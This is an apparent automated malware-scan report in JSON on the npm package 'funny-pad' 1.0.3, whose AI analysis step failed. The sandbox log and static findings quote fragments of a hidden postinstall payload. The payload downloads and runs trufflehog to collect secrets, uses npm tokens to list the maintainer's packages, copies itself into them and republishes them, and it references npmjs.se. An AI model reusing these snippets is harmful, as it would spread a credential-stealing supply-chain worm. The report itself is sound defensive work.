{"package":"funny-pad","version":"1.0.3","known":true,"status":"error","discovered_at":1790298611549,"has_install_script":true,"report_url":"https://andymal.com/packages/funny-pad/1.0.3","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790369337202,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2217,"lab_ip":"10.77.0.150","hooks":[{"name":"postinstall","command":"node bundle.js","exit":1,"timed_out":false,"seconds":0,"stdout_tail":"\n> funny-pad@1.0.3 postinstall\n> node bundle.js\n\n","stderr_tail":"/bin/sh: 1: curl: not found\nnode:internal/errors:983\n  const err = new Error(message);\n              ^\n\nError: Command failed: curl -L https://github.com/trufflesecurity/trufflehog/releases/download/v3.90.8/trufflehog_3.90.8_darwin_arm64.tar.gz -o trufflehog.tar.gz && tar xzvf trufflehog.tar.gz\n/bin/sh: 1: curl: not found\n\n    at genericNodeError (node:internal/errors:983:15)\n    at wrappedFn (node:internal/errors:537:14)\n    at checkExecSyncError (node:child_process:916:11)\n    at execSync (node:child_process:988:15)\n    at runTrufflehog (/work/pkg/bundle.js:32:5)\n    at main (/work/pkg/bundle.js:101:25)\n    at Object.<anonymous> (/work/pkg/bundle.js:118:1)\n    at Module._compile (node:internal/modules/cjs/loader:1781:14)\n    at Object..js (node:internal/modules/cjs/loader:1913:10)\n    at Module.load (node:internal/modules/cjs/loader:1505:32) {\n  status: 127,\n  signal: null,\n  output: [\n    null,\n    Buffer(0) [Uint8Array] [],\n    Buffer(28) [Uint8Array] [\n       47,  98, 105, 110,  47, 115, 104,\n       58,  32,  49,  58,  32,  99, 117,\n      114, 108,  58,  32, 110, 111, 116,\n       32, 102, 111, 117, 110, 100,  10\n    ]\n  ],\n  pid: 69,\n  stdout: Buffer(0) [Uint8Array] [],\n  stderr: Buffer(28) [Uint8Array] [\n     47,  98, 105, 110,  47, 115, 104,\n     58,  32,  49,  58,  32,  99, 117,\n    114, 108,  58,  32, 110, 111, 116,\n     32, 102, 111, 117, 110, 100,  10\n  ]\n}\n\nNode.js v22.23.2\n"},{"name":"require","command":"node -e require(pkg)","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"","stderr_tail":""}],"process_count":7,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node bundle.js","node bundle.js","/bin/sh -c curl -L https://github.com/trufflesecurity/trufflehog/releases/download/v3.90.8/trufflehog_3.90.8_darwin_arm64.tar.gz -o trufflehog.tar.gz && tar xzvf trufflehog.tar.gz","timeout -s KILL 30 node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}","node -e try{require(\"/work/pkg\")}catch(e){console.error(\"require failed:\",e&&e.message)}"],"network":{"connects":[],"dns":[],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":[],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"funny-pad","version":"1.0.3","description":"A minimalistic npm package that pads strings with funny words","scripts":{"test":"jest","test:coverage":"jest --coverage","postinstall":"node bundle.js"},"install_hooks":{"postinstall":"node bundle.js"},"bin":{},"main":"src/index.js","dependencies":[],"author":"","repository":"git+https://github.com/yourusername/funny-pad.git","license":"MIT","hasInstallScript":true},"files":[{"path":"bundle.js","size":3412,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","registry_abuse","reconnaissance"],"role":"entry"},{"path":"package.json","size":681,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]},{"path":".claude/settings.local.json","size":179,"kind":"text","score":0,"hits":[]},{"path":"README.md","size":2002,"kind":"text","score":0,"hits":[]},{"path":"src/index.js","size":2210,"kind":"text","score":0,"hits":[],"role":"entry"}],"file_count":5,"unpacked_size":8484,"findings":[{"title":"Install hook","detail":"postinstall: node bundle.js","severity":"low","location":"package.json"},{"title":"Network activity","detail":"secrets; } async function runTrufflehog() { execSync(\"curl -L https://github.com/trufflesecurity/trufflehog/releases/do","severity":"medium","location":"bundle.js:32"},{"title":"Network activity","detail":"etPackagesByMaintainer(token) { const username = (await fetch(\"https://registry.npmjs.org/-/whoami\", { headers: {","severity":"medium","location":"bundle.js:39"},{"title":"Network activity","detail":"}).then(res => res.json())).username; return (await fetch(\"https://registry.npmjs.org/-/v1/search?text=maintainer:\"+username).t","severity":"medium","location":"bundle.js:44"},{"title":"Network activity","detail":"Name}/-/${packageName}-${packageVersion}.tgz` execSync(`curl ${tarBallUrl} -o ${packageName}.tgz`) execSync(`tar xzvf","severity":"medium","location":"bundle.js:73"},{"title":"Download-and-execute chain","detail":"ripts.prepublish; delete p.scripts.postpublish; fs.writeFileSync('package/package.json',JSON.stringify(p,null,2)) execSync(\"cp bundle.js package/bundle.js\") execSync(\"cd package && npm publish\") } asy","severity":"critical","location":"bundle.js:86"},{"title":"Executes commands or dynamic code","detail":"const { execSync } = require(\"child_process\"); const os = require(\"os\"); con","severity":"medium","location":"bundle.js:1"},{"title":"Executes commands or dynamic code","detail":"const { execSync } = require(\"child_process\"); const os = require(\"os\"); const fs = require('fs'); cons","severity":"medium","location":"bundle.js:1"},{"title":"Executes commands or dynamic code","detail":"return secrets; } async function runTrufflehog() { execSync(\"curl -L https://github.com/trufflesecurity/trufflehog/rele","severity":"medium","location":"bundle.js:32"},{"title":"Executes commands or dynamic code","detail":"gz -o trufflehog.tar.gz && tar xzvf trufflehog.tar.gz\") execSync(\"./trufflehog filesystem . --json > truffle.json\") var","severity":"medium","location":"bundle.js:33"},{"title":"Automated registry publishing (worm / squatting bot)","detail":"ll,2)) execSync(\"cp bundle.js package/bundle.js\") execSync(\"cd package && npm publish\") } async function abuseNPMToken(token) { var packages","severity":"high","location":"bundle.js:90"},{"title":"System reconnaissance","detail":"const username = (await fetch(\"https://registry.npmjs.org/-/whoami\", { headers: { \"Authorization\": \"Bearer","severity":"low","location":"bundle.js:39"},{"title":"Install hook runs a script","detail":"\"test\": \"jest\", \"test:coverage\": \"jest --coverage\", \"postinstall\": \"node bundle.js\" }, \"keywords\": [ \"string\", \"pad\", \"funny\",","severity":"medium","location":"package.json:9"}],"injection_findings":[],"hits":{"network_egress":5,"download_execute":1,"code_execution":5,"registry_abuse":1,"reconnaissance":1,"install_hook_shell":1},"iocs":{"urls":["https://npmjs.se/data"],"domains":["npmjs.se"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node bundle.js","untrusted hosts referenced: npmjs.se","capability hits: network_egress×5, code_execution×5, download_execute×1, registry_abuse×1, reconnaissance×1, install_hook_shell×1"],"entry_files":["bundle.js","src/index.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}